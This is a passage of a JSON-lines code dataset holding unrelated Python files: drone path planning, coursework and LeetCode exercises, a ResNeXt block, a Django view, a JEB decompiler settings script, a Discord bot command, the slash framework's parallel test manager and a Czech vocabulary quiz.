lon0, 0)\n self.set_home_position(lon0, lat0, 0) # set the current location to be the home position\n\n # TODO: retrieve current global position\n current_global_pos = (self._longitude, self._latitude, self._altitude)\n \n # TODO: convert to current local position using global_to_local()\n current_local_pos = global_to_local(current_global_pos, self.global_home)\n\n print('global home {0}, position {1}, local position {2}'.format(self.global_home, self.global_position,\n self.local_position))\n # Read in obstacle map\n data = np.loadtxt('colliders.csv', delimiter=',', dtype='Float64', skiprows=2)\n\n # Get the center of the grid\n north_offset = int(np.floor(np.min(data[:, 0] - data[:, 3])))\n east_offset = int(np.floor(np.min(data[:, 1] - data[:, 4])))\n print(\"North offset = {0}, east offset = {1}\".format(north_offset, east_offset))\n\n sampler = Sampler(data)\n polygons = sampler._polygons\n\n # Example: sampling 1200 points and removing\n # ones conflicting with obstacles.\n nodes = sampler.sample(1200)\n print(\"Non collider nodes:\", len(nodes))\n\n t0 = time.time()\n # Uncomment line 162 to generate the graph from the sampled points, and comment out line 163.\n # Increase the Mavlink timer to avoid disconnecting from the simulator.\n #G = create_graph(nodes, 10, polygons)\n G = nx.read_gpickle(\"graph_1200_SD_nodes.gpickle\") # Comment out this line if generating the graph instead of using the saved graph \n print('graph took {0} seconds to build'.format(time.time()-t0)) \n print(\"Number of edges\", len(G.edges))\n\n # TODO: convert start position to current position rather than map center\n grid_start = (int(current_local_pos[0]-north_offset), int(current_local_pos[1]-east_offset), TARGET_ALTITUDE)\n \n # TODO: adapt to set goal as latitude / longitude position and convert\n goal_global_pos = (-122.394700, 37.789825, 13)\n goal_local_pos = global_to_local(goal_global_pos, self.global_home)\n grid_goal = (int(goal_local_pos[0]-north_offset), int(goal_local_pos[1]-east_offset), goal_global_pos[2])\n print (\"goal_local_N:\", goal_local_pos[0], \"goal_local_E:\", goal_local_pos[1], \"goal_local_alt:\", goal_local_pos[2])\n\n #goal_ne = (455., 635., 20.)\n start_ne_g = closest_point(G, grid_start)\n goal_ne_g = closest_point(G, grid_goal)\n print('Local Start and Goal: ', start_ne_g, goal_ne_g)\n\n # Run A* to find a path from start to goal\n path, cost = a_star_graph(G, heuristic_graph, start_ne_g, goal_ne_g)\n print(\"Path Length:\", len(path), \"Path Cost:\", cost)\n\n int_path = [[int(p[0]), int(p[1]), int(p[2])] for p in path] \n \n # TODO: prune path to minimize number of waypoints\n pruned_path = prune_path(int_path)\n print(\"Length Pruned Path:\", len(pruned_path))\n print (\"PRUNED PATH:\", pruned_path)\n\n # Convert path to waypoints\n waypoints = [[p[0] + north_offset, p[1] + east_offset, p[2], 0] for p in pruned_path]\n\n # Set self.waypoints\n self.waypoints = waypoints\n # TODO: send waypoints to sim\n self.send_waypoints()\n\n def start(self):\n self.start_log(\"Logs\", \"NavLog.txt\")\n\n print(\"starting connection\")\n self.connection.start()\n\n # Only required if they do threaded\n # while self.in_mission:\n # pass\n\n self.stop_log()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--port', type=int, default=5760, help='Port number')\n parser.add_argument('--host', type=str, default='127.0.0.1', help=\"host address, i.e. '127.0.0.1'\")\n args = parser.parse_args()\n\n conn = MavlinkConnection('tcp:{0}:{1}'.format(args.host, args.port), timeout=60)\n drone = MotionPlanning(conn)\n time.sleep(1)\n \n drone.start()\n\n","repo_name":"saduf/P2_Planning_and_Search","sub_path":"FCND-Motion-Planning_25D/motion_planning.py","file_name":"motion_planning.py","file_ext":"py","file_size_in_byte":8531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"5141084534","text":"dict = {\n \"Baja Taco\": 4.00,\n \"Burrito\": 7.50,\n \"Bowl\": 8.50,\n \"Nachos\": 11.00,\n \"Quesadilla\": 8.50,\n \"Super Burrito\": 8.50,\n \"Super Quesadilla\": 9.50,\n \"Taco\": 3.00,\n \"Tortilla Salad\": 8.00\n}\n\ncounter = 0\nwhile True:\n try:\n order = input(\"What's your order?\")\n if order.title() in dict:\n counter += dict.get(order.title())\n except EOFError:\n break\n finally:\n print(f'${counter:.2f}')\n\n\n","repo_name":"dorabz/CS50-s-Introduction-to-Programming-with-Python","sub_path":"problem_set_3/taqueria/taqueria.py","file_name":"taqueria.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15593348448","text":"#?description=Change the propertis of a dexdec instance programmatically\n#?shortcut=\nfrom com.pnfsoftware.jeb.client.api import IScript\nfrom com.pnfsoftware.jeb.core.units.code.android import IDexDecompilerUnit\n\"\"\"\nSample script for JEB Decompiler.\n\nReference doc to review:\n- IPropertyDefinitionManager\n- IPropertyManager\n\"\"\"\nclass DexdecDisableEmulation(IScript):\n def run(self, ctx):\n prj = ctx.getMainProject()\n assert prj, 'Need a project'\n u = prj.findUnit(IDexDecompilerUnit)\n if u:\n # the associated PDM (property definition manager) of a PM (property manager) lists the properties, their types, legal values, etc.\n # they are also listed here for reference: https://www.pnfsoftware.com/jeb/manual/engines-configuration/\n # other objects can be configured via a PM, including JEB's engines context and its primary GUI client\n u.getPropertyManager().setInteger('EmulationSupport', 0) # disable the emulator!\n","repo_name":"pnfsoftware/jeb-samplecode","sub_path":"scripts/DexdecDisableEmulation.py","file_name":"DexdecDisableEmulation.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"81"} +{"seq_id":"24225060796","text":"\n# Paper: https://arxiv.org/abs/1611.05431\n\n# ResNext = multiple independent group convolution in resnet\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass ResNextBlock(nn.Module):\n \" The ResNext block.\"\n def __init__(self, num_channels, groups, bot_mul, use_1x1conv=False, strides=1) -> None:\n super().__init__()\n bot_channels = int(round(num_channels * bot_mul))\n self.conv1 = nn.LazyConv2d(bot_channels, kernel_size=1, stride=1)\n self.conv2 = nn.LazyConv2d(bot_channels, kernel_size=3, \n stride=strides, padding=1, \n groups=bot_channels//groups)\n self.conv3 = nn.LazyConv2d(num_channels, kernel_size=1, stride=1)\n self.bn1 = nn.LazyBatchNorm2d()\n self.bn2 = nn.LazyBatchNorm2d()\n self.bn3 = nn.LaxyBatchNorm2d()\n\n if use_1x1conv:\n self.conv4 = nn.LazyConv2d(num_channels, kernel_size=1, stride=strides)\n self.bn4 = nn.LazyBatchNorm2d()\n else:\n self.conv4 = None\n \n def forward(self, X):\n Y = F.relu(self.bn1(self.conv1(X)))\n Y = F.relu(self.bn2(self.conv2(Y)))\n Y = self.bn3(self.conv3(Y))\n if self.conv4:\n X = self.bn4(self.conv4(X))\n return F.relu(Y + X)\n ","repo_name":"sushant097/Deep-Learning-Paper-Scratch-Implementation","sub_path":"Modern CNN/resnext.py","file_name":"resnext.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"38117353205","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def getLonelyNodes(self, root: Optional[TreeNode]) -> List[int]:\n \n res = []\n \n def rec(root):\n if not root:\n return \n if (root.left is None) ^ (root.right is None):\n if root.left: \n nonlocal res\n res.append(root.left.val)\n rec(root.left)\n return\n if root.right:\n res.append(root.right.val)\n rec(root.right)\n return\n rec(root.left)\n rec(root.right)\n \n rec(root)\n \n return res\n","repo_name":"dgharsallah/leetcode-solutions","sub_path":"Medium/Find All The Lonely Nodes - Medium.py","file_name":"Find All The Lonely Nodes - Medium.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"74945150985","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\n\nfrom Students.models import StudentRegisteredCourses, StudentVirtualCurrencyTransactions\nfrom Students.views.utils import studentInitialContextDict\nfrom Instructors.models import Challenges, Activities\nfrom Badges.models import Rules, ActionArguments, VirtualCurrencyRuleInfo, VirtualCurrencyCustomRuleInfo\nfrom Badges.enums import Action, Event, ObjectTypes\nfrom datetime import datetime\nfrom django.utils import formats, timezone\nimport pytz\n#import logging\n\n@login_required\ndef transactionNotesView(request):\n\n \n context_dict,course = studentInitialContextDict(request)\n #logger = logging.getLogger(__name__)\n \n student = context_dict['student']\n st_crs = StudentRegisteredCourses.objects.get(studentID=student,courseID=course) \n \n currentStudentCurrencyAmmount = st_crs.virtualCurrencyAmount \n \n # Code from virtual currency shop view\n # RULE BASED VC NOT USED\n def getRulesForEvent(event):\n return VirtualCurrencyRuleInfo.objects.filter(vcRuleType=False, ruleID__ruleevents__event=event, courseID=course)\n\n # We assume that if a rule decreases virtual currency, it is a\n # buy rule. This function assumes that virtual currency penalty\n # rules have already been screened out. A more robust test\n # would be needed if used in a different context. \n # RULE BASED VC NOT USED \n def checkIfRuleIsBuyRule(rule):\n return rule.ruleID.actionID == Action.decreaseVirtualCurrency\n # RULE BASED VC NOT USED\n def getAmountFromBuyRule(rule):\n if ActionArguments.objects.filter(ruleID=rule.ruleID,sequenceNumber=1).exists:\n return int(ActionArguments.objects.get(ruleID=rule.ruleID, sequenceNumber=1).argumentValue)\n else:\n return 0\n \n # We just find the first one. This should generally be fine\n # since there should be at most one.\n # RULE BASED VC NOT USED\n def getFirstBuyRule(ruleList):\n for rule in ruleList:\n if checkIfRuleIsBuyRule(rule):\n return rule\n return None\n # RULE BASED VC NOT USED\n def getBuyAmountForEvent(event):\n rules = getRulesForEvent(event)\n buyRule = getFirstBuyRule(rules)\n if buyRule is None:\n return (False, 0, None)\n else:\n return (True, getAmountFromBuyRule(buyRule), buyRule)\n \n transaction = StudentVirtualCurrencyTransactions.objects.get(pk=int(request.GET['transactionID']))\n \n # RULE BASED VC NOT USED\n # event = Event.events[transaction.studentEvent.event]\n # _, total, rule = getBuyAmountForEvent(transaction.studentEvent.event)\n # if rule:\n # context_dict['name'] = rule.vcRuleName\n # context_dict['description'] = rule.vcRuleDescription\n # else:\n # context_dict['name'] = event['displayName']\n # context_dict['description'] = event['description']\n\n rule = VirtualCurrencyCustomRuleInfo.objects.filter(vcRuleType=False, courseID=course, vcRuleID=transaction.studentEvent.objectID).first()\n context_dict['name'] = transaction.name\n context_dict['description'] = transaction.description\n # Need to format the datetime object to be like it shows in the html file\n # This will mimick what django does to render dates on the frontend\n # Since the data is being returned as JSON for filtering\n time = transaction.studentEvent.timestamp.replace(tzinfo=pytz.UTC) \n context_dict['purchaseDate'] = formats.date_format(time.astimezone(timezone.get_current_timezone()), \"DATETIME_FORMAT\")\n context_dict['total'] = transaction.amount\n context_dict['status'] = transaction.status\n context_dict['noteForStudent'] = transaction.noteForStudent\n\n if transaction.objectType == ObjectTypes.challenge:\n challenge = Challenges.objects.filter(courseID = course, challengeID = transaction.objectID).first()\n if challenge:\n context_dict['assignment'] = challenge.challengeName\n else:\n activity = Activities.objects.filter(courseID = course, activityID = transaction.objectID).first()\n if activity:\n context_dict['assignment'] = activity.activityName\n else:\n context_dict['assignment'] = None\n else:\n context_dict['assignment'] = None\n \n #logger.debug(context_dict)\n\n context_dict['studentVirtualCurrency'] = currentStudentCurrencyAmmount\n return render(request,\"Students/TransactionNotes.html\",context_dict)","repo_name":"OneUp-Learning/oneUp","sub_path":"Students/views/transactionNotesView.py","file_name":"transactionNotesView.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"10251568054","text":"import sys\nimport string\n\nav = sys.argv[1:]\n\nif len(av) != 2 or av[0].isdigit()== True or av[1].isdigit() == False:\n print('ERROR')\n exit(1)\n\ns = av[0]\nl = int(av[1])\ntmp = [c for c in s if c not in set(string.punctuation)]\ns = (''.join(tmp)).split()\nlst = [e for e in s if len(e) > l]\nprint(lst)\n","repo_name":"kizombaciao/42PythonBootcamp202003","sub_path":"day00/ex07/filterwords.py","file_name":"filterwords.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2385830341","text":"import boto3\n\ndef lC(path):\n s3 = boto3.client('s3')\n \n response = s3.list_objects_v2(\n Bucket='asan-api-try1',\n #Delimiter='string',\n #EncodingType='url',\n MaxKeys=123,\n Prefix=path,\n #ContinuationToken='string',\n FetchOwner=True|False\n #StartAfter='string',\n #RequestPayer='requester'\n )\n keys=[]\n if 'Contents' in response:\n n=len(response['Contents'])\n for i in range(n):\n keys.append(response['Contents'][i]['Key'])\n return keys\n","repo_name":"thepermanenturl/S3-and-Partial-data-retrieval","sub_path":"Lambda Functions/listContents.py","file_name":"listContents.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3690754896","text":"#\n# @lc app=leetcode.cn id=11 lang=python3\n#\n# [11] 盛最多水的容器\n#\n\n# @lc code=start\n\n\nclass Solution:\n def maxArea(self, height):\n max_value = 0\n j = len(height) - 1\n i = 0\n # use != will serious influence runtime\n while i < j:\n # can omit\n a = j-i\n if height[i]<=height[j]:\n # The formula is as simple as possible. \n area = a*height[i]\n i = i + 1\n else:\n area = a*height[j]\n j = j- 1\n if area>max_value:\n max_value = area\n # min_height = min(height[i], height[j])\n # area = (j - i)*min_height\n # if area > max_value:\n # max_value = area\n # if height[i] == min_height:\n # i = i + 1\n # else:\n # j = j-1\n\n return max_value\n# @lc code=end\n","repo_name":"JRICKL/leetcode","sub_path":"11.盛最多水的容器.py","file_name":"11.盛最多水的容器.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32205139480","text":"import os\nimport time\nimport logbook\nimport threading\nfrom tempfile import mkdtemp\nfrom six.moves import xmlrpc_client\nfrom .. import log\nfrom ..exceptions import INTERRUPTION_EXCEPTIONS, ParallelServerIsDown, ParallelTimeout\nfrom ..conf import config\nfrom .server import Server, ServerStates, KeepaliveServer\nfrom .worker_configuration import TmuxWorkerConfiguration, ProcessWorkerConfiguration\n\n_logger = logbook.Logger(__name__)\nlog.set_log_color(_logger.name, logbook.NOTICE, 'blue')\n\nTIME_BETWEEN_CHECKS = 2\nMAX_CONNECTION_RETRIES = 200\n\ndef get_xmlrpc_proxy(address, port):\n return xmlrpc_client.ServerProxy('http://{}:{}'.format(address, port))\n\n\nclass ParallelManager(object):\n def __init__(self, args):\n super(ParallelManager, self).__init__()\n self.server = None\n self.workers_error_dircetory = mkdtemp()\n self.args = args\n self.workers_num = config.root.parallel.num_workers\n self.workers = {}\n self.server_thread = None\n self.keepalive_server = None\n self.keepalive_server_thread = None\n self._create_workers()\n\n def _create_workers(self):\n for index in range(1, self.workers_num+1):\n _logger.debug(\"Creating worker number {}\", index)\n index_str = str(index)\n worker_cls = TmuxWorkerConfiguration if config.root.tmux.enabled else ProcessWorkerConfiguration\n self.workers[index_str] = worker_cls(self.args, index_str)\n\n def try_connect(self):\n for _ in range(MAX_CONNECTION_RETRIES):\n if self.server.state != ServerStates.NOT_INITIALIZED and self.keepalive_server.state != ServerStates.NOT_INITIALIZED:\n return\n time.sleep(0.1)\n raise ParallelServerIsDown(\"Cannot connect to XML_RPC server\")\n\n def start_server_in_thread(self, collected):\n self.server = Server(collected)\n self.server_thread = threading.Thread(target=self.server.serve, args=(), daemon=True)\n self.server_thread.start()\n self.keepalive_server = KeepaliveServer()\n self.keepalive_server_thread = threading.Thread(target=self.keepalive_server.serve, args=(), daemon=True)\n self.keepalive_server_thread.start()\n\n def kill_workers(self):\n for worker in list(self.workers.values()):\n worker.kill()\n\n def report_worker_error_logs(self):\n found_worker_errors_file = False\n for file_name in os.listdir(self.workers_error_dircetory):\n if file_name.startswith(config.root.parallel.worker_error_file):\n found_worker_errors_file = True\n with open(os.path.join(self.workers_error_dircetory, file_name)) as worker_file:\n content = worker_file.readlines()\n for line in content:\n _logger.error(\"{}: {}\", file_name, line, extra={'capture': False})\n if not found_worker_errors_file:\n _logger.error(\"No worker error files were found\", extra={'capture': False})\n\n def handle_error(self, failure_message):\n _logger.error(failure_message, extra={'capture': False})\n self.kill_workers()\n self.report_worker_error_logs()\n get_xmlrpc_proxy(config.root.parallel.server_addr, self.server.port).report_session_error(failure_message)\n raise ParallelTimeout(failure_message)\n\n def wait_all_workers_to_connect(self):\n while self.server.state == ServerStates.WAIT_FOR_CLIENTS:\n if time.time() - self.server.start_time > config.root.parallel.worker_connect_timeout * self.workers_num:\n self.handle_error(\"Timeout: Not all clients connected to server, terminating.\\n\\\n Clients connected: {}\".format(self.server.connected_clients))\n time.sleep(TIME_BETWEEN_CHECKS)\n\n def check_worker_timed_out(self):\n workers_last_connection_time = self.keepalive_server.get_workers_last_connection_time()\n for worker_id in self.server.get_connected_clients():\n worker_last_connection_time = workers_last_connection_time.get(worker_id, None)\n if worker_last_connection_time is None: #worker keepalive thread didn't started yet\n continue\n if time.time() - worker_last_connection_time > config.root.parallel.communication_timeout_secs:\n _logger.error(\"Worker {} is down, terminating session\", worker_id, extra={'capture': False})\n self.report_worker_error_logs()\n self.workers[worker_id].handle_timeout()\n get_xmlrpc_proxy(config.root.parallel.server_addr, self.server.port).report_client_failure(worker_id)\n\n def check_no_requests_timeout(self):\n if time.time() - self.keepalive_server.last_request_time > config.root.parallel.no_request_timeout:\n _logger.error(\"No request sent to server for {} seconds, terminating\",\n config.root.parallel.no_request_timeout, extra={'capture': False})\n if self.server.has_connected_clients():\n _logger.error(\"Clients that are still connected to server: {}\",\n self.server.connected_clients, extra={'capture': False})\n if self.server.has_more_tests():\n _logger.error(\"Number of unstarted tests: {}\", len(self.server.get_unstarted_tests()),\n extra={'capture': False})\n if self.server.executing_tests:\n _logger.error(\"Currently executed tests indexes: {}\", self.server.executing_tests.values(),\n extra={'capture': False})\n self.handle_error(\"No request sent to server for {} seconds, terminating\".format(config.root.parallel.no_request_timeout))\n\n def start(self):\n self.try_connect()\n try:\n for worker in list(self.workers.values()):\n worker.start()\n self.wait_all_workers_to_connect()\n while self.server.should_wait_for_request():\n self.check_worker_timed_out()\n self.check_no_requests_timeout()\n time.sleep(TIME_BETWEEN_CHECKS)\n except INTERRUPTION_EXCEPTIONS:\n _logger.error(\"Server interrupted, stopping workers and terminating\", extra={'capture': False})\n get_xmlrpc_proxy(config.root.parallel.server_addr, self.server.port).session_interrupted()\n self.kill_workers()\n raise\n finally:\n for worker in list(self.workers.values()):\n worker.wait_to_finish()\n\n get_xmlrpc_proxy(config.root.parallel.server_addr, self.server.port).stop_serve()\n get_xmlrpc_proxy(config.root.parallel.server_addr, self.keepalive_server.port).stop_serve()\n self.server_thread.join()\n self.keepalive_server_thread.join()\n","repo_name":"getslash/slash","sub_path":"slash/parallel/parallel_manager.py","file_name":"parallel_manager.py","file_ext":"py","file_size_in_byte":6850,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"81"} +{"seq_id":"70222640586","text":"\"\"\" Paso 1\n\n- Utiliza spacy.blank para crear el objeto nlp para procesar español.\n- Procesa el texto y genera un instance de un objeto Doc en la variable doc.\n- Selecciona el primer token del Doc e imprime su texto (text) en pantalla.\n\"\"\"\nimport spacy\n\nnlp = spacy.blank('es')\n\n# Procesa el texto\ndoc = nlp('Me gustan las panteras negras y los leones.')\n\n# Selecciona el primer token.\nprimer_token = doc[0]\n\n# Imprimir en pantalla el token.\nprint(primer_token.text)","repo_name":"CiberNefty/Python_dv","sub_path":"Spacy-NLP/Capitulo1_encontrando_palabras_frases_nombre_conceptos/04-documentos_spans_y_tokens_part1.py","file_name":"04-documentos_spans_y_tokens_part1.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"2949218736","text":"import math\n\ndef main():\n X = [[1.0, 1.1], [1.0, 1.0], [0.0, 0.0], [0.0, 0.1]]\n y = ['A', 'A', 'B', 'B']\n\n targetX = [0,0]\n k = 2\n result = knn(X, y, targetX, k)\n print('nearest neighbour is', result)\n\ndef euclidean(p1, p2):\n return math.sqrt(pow(p1[0] - p2[0], 2) + pow(p1[1] - p2[1], 2))\n\ndef knn(X, y, targetX, k):\n # Calculate the distance between target and the current points\n distances = [(i, euclidean(targetX, x)) for i, x in enumerate(X)]\n\n # Sort the distance in increasing order - the shorter the distance, the\n # closer the neighbour\n sorted_distances = sorted(distances, key = lambda x: x[1])\n\n # Find the majority labels of the nearest k-neighbours\n result = {}\n for i, score in sorted_distances[:k]:\n result[y[i]] = result.get(y[i], 0) + 1\n\n # Return the majority class of our prediction for targetX\n return sorted(result, key = lambda x: result[x])\n\nmain()\n","repo_name":"alextanhongpin/data-structures-and-algorithms","sub_path":"knn/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"28145157366","text":"import discord\nfrom discord.ext import commands\nfrom discord_slash import cog_ext, SlashContext\nfrom handlers.setup import GUILD_IDS, canvas, EMBED_COLOR\n\n\nclass UsersCommand(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @cog_ext.cog_slash(\n name=\"users\",\n description=\"Get number of online users\",\n guild_ids=GUILD_IDS,\n )\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def _users(self, ctx: SlashContext):\n users = await canvas.fetch_users()\n embed = discord.Embed(\n title=\"Users\",\n description=f\"{users} users currently online.\",\n color=EMBED_COLOR,\n )\n await ctx.send(embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(UsersCommand(bot))\n","repo_name":"Seon82/pyCharity","sub_path":"src/cogs/commands/users_cmd.py","file_name":"users_cmd.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"74304361863","text":"import random\nimport pandas as pd\nimport json\nimport os\nfrom gtts import gTTS\nimport tempfile\nimport atexit\nimport glob\nimport pygame\npygame.init()\n\nfrom utilities.keepScore import update_score, save_progress_to_json, load_progress_from_json, display_scoreboard\nfrom utilities.command_handler import handle_commands, get_audio_status, print_help\nfrom utilities.title import print_title_art, print_flag_art\n\nclass Colors:\n RED = '\\033[91m'\n GREEN = '\\033[92m'\n BLUE = '\\033[94m'\n WHITE = '\\033[97m'\n YELLOW = '\\033[93m'\n RESET = '\\033[0m'\n\n\n\n# Global variable to keep track of words answered correctly\ncorrectly_answered_words = set()\n\ndef win_or_lose_audio(win):\n if win:\n sound_file = \"content/win_audio.wav\"\n else:\n sound_file = \"content/lost_audio.wav\"\n\n sound = pygame.mixer.Sound(sound_file)\n sound.play()\n\n# Load data from Excel file\ndef load_data_from_excel(file_path):\n df = pd.read_excel(file_path)\n return df.to_dict(orient='index')\n\n# Load progress from JSON\ndef load_progress_from_json(username):\n try:\n with open(f\"data/progress_{username}.json\", \"r\") as file:\n return json.load(file)\n except FileNotFoundError:\n return {}\n\n# Save progress to JSON\ndef save_progress_to_json(username, progress):\n with open(f\"data/progress_{username}.json\", \"w\") as file:\n json.dump(progress, file)\n\ndef update_progress(progress, word_id, is_correct):\n if word_id not in progress:\n progress[word_id] = 1 # Starting level in Leitner system\n else:\n if is_correct:\n progress[word_id] += 1 # Move up a level\n correctly_answered_words.add(word_id) # Add to correctly answered words\n else:\n progress[word_id] = max(1, progress[word_id] - 1) # Move down a level, but not below 1\n\ndef select_word(common_1000, progress, session_words):\n word_ids = list(common_1000.keys())\n random.shuffle(word_ids)\n\n # Focused Repetition & Adaptive Spacing: Prioritize words that have been answered incorrectly or are new\n for word_id in word_ids:\n if word_id not in session_words: # Ensure the word hasn't been used in the current session\n level = progress.get(word_id, 1)\n if level == 1 or level == 2: # Higher priority for new or frequently wrong words\n return word_id\n\n # # Confidence Boost Words: Include words that the user knows well\n # if len(session_words) % 3 == 0: # Every 5th word\n # known_words = [word_id for word_id, level in progress.items() if level > 1 and word_id not in session_words]\n # if known_words:\n # return random.choice(known_words)\n\n # # Interleaved Practice: Mix new words with words that need to be reviewed\n # for word_id in word_ids:\n # if word_id not in session_words: # Ensure the word hasn't been used in the current session\n # return word_id\n\n return random.choice(word_ids) # Fallback in case all words have been used in the session\n\ndef select_new_word(common_1000, progress, session_words):\n word_ids = list(common_1000.keys())\n random.shuffle(word_ids)\n\n # Collect eligible new words\n eligible_new_words = [word_id for word_id in word_ids if word_id not in session_words]\n\n # If there are no eligible new words, select any word not in session\n if not eligible_new_words:\n eligible_new_words = [word_id for word_id in word_ids if word_id not in session_words]\n\n return random.choice(eligible_new_words)\n\ndef clear_temp_files():\n pattern = os.path.join(tempfile.gettempdir(), \"*.mp3\")\n temp_files = glob.glob(pattern)\n for temp_file in temp_files:\n try:\n os.remove(temp_file)\n except PermissionError:\n print(f\"Permission denied for {temp_file}. File might be in use.\")\n pygame.time.delay(100) # Wait a bit before trying again\n except Exception as e:\n print(f\"Error deleting {temp_file}: {e}\")\n\ndef play_text(czech_word, audio_text):\n def play_audio(audio_text):\n tts = gTTS(text=audio_text, lang='cs', tld='cz')\n fd, temp_filename = tempfile.mkstemp()\n os.close(fd)\n\n try:\n tts.save(temp_filename)\n pygame.mixer.music.load(temp_filename)\n pygame.mixer.music.play()\n while pygame.mixer.music.get_busy():\n pygame.time.Clock().tick(10)\n finally:\n pygame.mixer.music.stop()\n atexit.register(os.remove, temp_filename)\n\n play_audio(czech_word)\n play_audio(audio_text)\n\ndef main():\n print_title_art()\n print_flag_art()\n print_help()\n print(\"Czech Quest.. prepare yourself for 1000 word mastery!\\n\")\n\n # Initialize pygame and load data\n pygame.mixer.init()\n common_1000 = load_data_from_excel('content/common_1000/common_1000.xlsx')\n\n username_input = input(\"\\nEnter your username: \")\n username = username_input.lower().capitalize() # Convert to lowercase for consistency\n\n # Load the progress for the user\n progress = load_progress_from_json(username)\n\n # Display the scoreboard for the user\n display_scoreboard()\n print(\"____________________________________________________\")\n\n # Initialize session words\n session_words = set()\n\n # Define maximum session size\n max_session_size = 5\n\n # Select initial session words\n while len(session_words) < max_session_size:\n new_word_id = select_new_word(common_1000, progress, session_words)\n session_words.add(new_word_id)\n\n word_id = None # Initialize word_id outside the loop\n\n while True:\n if word_id is None:\n word_id = select_word(common_1000, progress, session_words)\n session_words.add(word_id) # Add the selected word to the session_words set\n czech_word = common_1000[word_id]['Czech']\n czech_sentence = common_1000[word_id]['Czech Sentence']\n eng_sentence_translation = common_1000[word_id]['English Translation']\n eng_sentence_lower = eng_sentence_translation.strip().lower()\n correct_answer = common_1000[word_id]['English']\n print(\"\\nWhat is:\", czech_word, \"in English?\")\n print(\"Used in a sentence: \", czech_sentence)\n\n if get_audio_status() == True:\n temp_file = play_text(czech_word, czech_sentence)\n\n guess = input(\"\\nEnter your guess or a command: \").strip().lower()\n command_executed = handle_commands(guess, common_1000, progress, session_words, username)\n\n if command_executed:\n continue # If a command was executed, repeat the loop without changing the word\n\n is_correct = guess == correct_answer.lower() or guess == eng_sentence_lower\n\n if is_correct:\n win = True\n win_or_lose_audio(win)\n print(\"____________________________________________________\")\n print(f\"\\n{Colors.GREEN} CORRECT {Colors.RESET}\")\n print(\"____________________________________________________\")\n\n # Print the mnemonic before resetting the word_id\n print(f\"\\n{Colors.YELLOW} Mnemonic:{Colors.RESET}\", common_1000[word_id]['Mnemonic'])\n # Update progress before resetting word_id\n update_progress(progress, word_id, is_correct)\n save_progress_to_json(username, progress)\n # Then discard the word_id and reset\n session_words.discard(word_id)\n word_id = None # Reset word_id to select a new word in the next iteration\n # word_id = select_word(common_1000, progress, session_words)\n # session_words.add(word_id) # Add the selected word to the session_words set\n\n else:\n win = False\n win_or_lose_audio(win)\n print(\"____________________________________________________\")\n print(f\"\\n{Colors.RED} INCORRECT {Colors.RESET}\")\n\n print(\"____________________________________________________\")\n # Print Mnemonic even if incorrect\n print(f\"\\n{Colors.YELLOW} Mnemonic:{Colors.RESET}\", common_1000[word_id]['Mnemonic'])\n # Update progress for incorrect guess before resetting word_id\n update_progress(progress, word_id, is_correct)\n save_progress_to_json(username, progress)\n print(f\"\\n{Colors.GREEN} Meaning: {Colors.RESET}\", correct_answer)\n word_id = None # Reset word_id to select a new word in the next iteration\n\n\n print(\"\\n\",czech_sentence, \":\", eng_sentence_translation) # Display audio text\n print_flag_art()\n # Ask the user if they want to continue or enter a command\n user_input = input(\"\").strip().lower()\n\n # Check if the input is a command\n if user_input.startswith(':'): # Assuming commands start with ':'\n command_executed = handle_commands(user_input, common_1000, progress, session_words, username)\n if command_executed:\n continue # If a command was executed, repeat the loop without changing the word\n\n clear_temp_files()\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"diamond-one/Czech_Quest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23914737022","text":"class Event(object):\n \"\"\"\n A user input event.\n\n Slots:\n\n `key_code`\n The numeric code for the key pressed during the input event.\n\n `has_ctrl_modifier`\n Whether or not the Ctrl key was press.\n\n `has_alt_modifier`\n Whether or not the Alt key was pressed.\n\n `has_shift_modifier`\n Whether or not the Shift key was pressed.\n \"\"\"\n\n __slots__ = ['key_code', 'has_ctrl_modifier',\n 'has_alt_modifier', 'has_shift_modifier']\n\n def __init__(self, ch, ctrl, alt, shift):\n # type: (str, bool, bool, bool) -> None\n self.key_code = ch # type: str\n self.has_ctrl_modifier = ctrl # type: bool\n self.has_alt_modifier = alt # type: bool\n 